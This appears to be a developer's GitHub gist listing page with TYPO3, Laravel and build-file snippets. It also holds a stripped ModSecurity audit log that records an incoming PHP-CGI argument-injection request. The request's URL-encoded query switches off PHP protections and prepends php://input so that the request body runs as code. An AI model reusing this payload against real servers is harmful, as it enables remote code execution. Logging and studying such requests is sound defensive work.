Skip to content

Instantly share code, notes, and snippets.

View derhansen's full-sized avatar

Torben Hansen derhansen

View GitHub Profile
@derhansen
derhansen / gist:7410311
Created November 11, 2013 09:19
ModSecurity audit log stripped
--dafe1c1b-A--
[10/Nov/2013:07:44:03 +0100] Un8rMgqXZAQAACKaBUkAAAAC xxx.xxx.xxx.xxx 50937 xxx.xxx.xxx.xxx
--dafe1c1b-B--
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: xxxxxxxxxx.tld
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: 6013
Connection: close
@derhansen
derhansen / RandomQueryResult
Created April 21, 2014 13:11
Random sorting of QueryResults in TYPO3 6.2
<?php
use TYPO3\CMS\Extbase\Persistence\Generic\QueryResult;
class RandomQueryResult extends QueryResult {
/**
* Keeps track of, if queryResult has been shuffled
*/
protected $shuffled = FALSE;
@derhansen
derhansen / fce.html
Last active August 29, 2015 14:01
TYPO3 - Flexible Content Element to Grid Element example
<div class="fce-2col">
<div class="fce-2col-col1">
Column 1
</div>
<div class="fce-2col-col2">
Column 2
</div>
</div>
### Keybase proof
I hereby claim:
* I am derhansen on github.
* I am derhansen (https://keybase.io/derhansen) on keybase.
* I have a public key whose fingerprint is 57A1 7E2E 04C3 0B2C 507D 91A7 37CF 88CB 71EB 2ECF
To claim this, I am signing this object:
@derhansen
derhansen / build.xml
Last active August 29, 2015 14:04
Example ANT file for a TYPO3 6.2 ExtBase extension to use with Jenkins CI
<project name="TYPO3-62-Extbase-Extension" default="build" basedir=".">
<property environment="env"/>
<target name="build" depends="init, tests, phpcs, phpmd, phpcpd, cleanup">
</target>
<target name="init">
<mkdir dir="${env.WORKSPACE}/build"/>
<mkdir dir="${env.WORKSPACE}/build/phpcs"/>
<mkdir dir="${env.WORKSPACE}/build/phpunit"/>
@derhansen
derhansen / Tx_Formhandler_Interceptor_HashService.php
Created September 9, 2014 08:17
TYPO3 Formhandler HashService Interceptor
<?php
/* *
* This script is part of the TYPO3 project - inspiring people to share! *
* *
* TYPO3 is free software; you can redistribute it and/or modify it under *
* the terms of the GNU General Public License version 2 as published by *
* the Free Software Foundation. *
* *
* This script is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- *
@derhansen
derhansen / EventController.php
Created January 19, 2015 12:23
How to extend sf_event_mgt with own fields (additional changes after creation of own extension)
<?php
namespace YOURNAMESPACE\YourExtKey\Controller;
class EventController extends \DERHANSEN\SfEventMgt\Controller\EventController {
/**
* Saves the registration
*
* @param $registration \YOURNAMESPACE\YourExtKey\Domain\Model\Registration
* @param $event \DERHANSEN\SfEventMgt\Domain\Model\Event
@derhansen
derhansen / numJobsDatabaseDriver.php
Last active July 15, 2021 17:16
Laravel 5 - get amount of jobs in a queue (database driver)
$numJobs = DB::table('jobs')->where('queue', 'myqueue')->count();
@derhansen
derhansen / numJobsRedisDriver.php
Last active April 8, 2020 09:48
Laravel 5 - get amount of jobs in a queue (redis driver)
$numJobs = Redis::connection()->llen('queues:myqueue');
@derhansen
derhansen / removeJobsRedisDriver.php
Last active November 10, 2022 17:17
Laravel 5 - remove all jobs from a queue (redis driver)
Redis::connection()->del('queues:myqueue');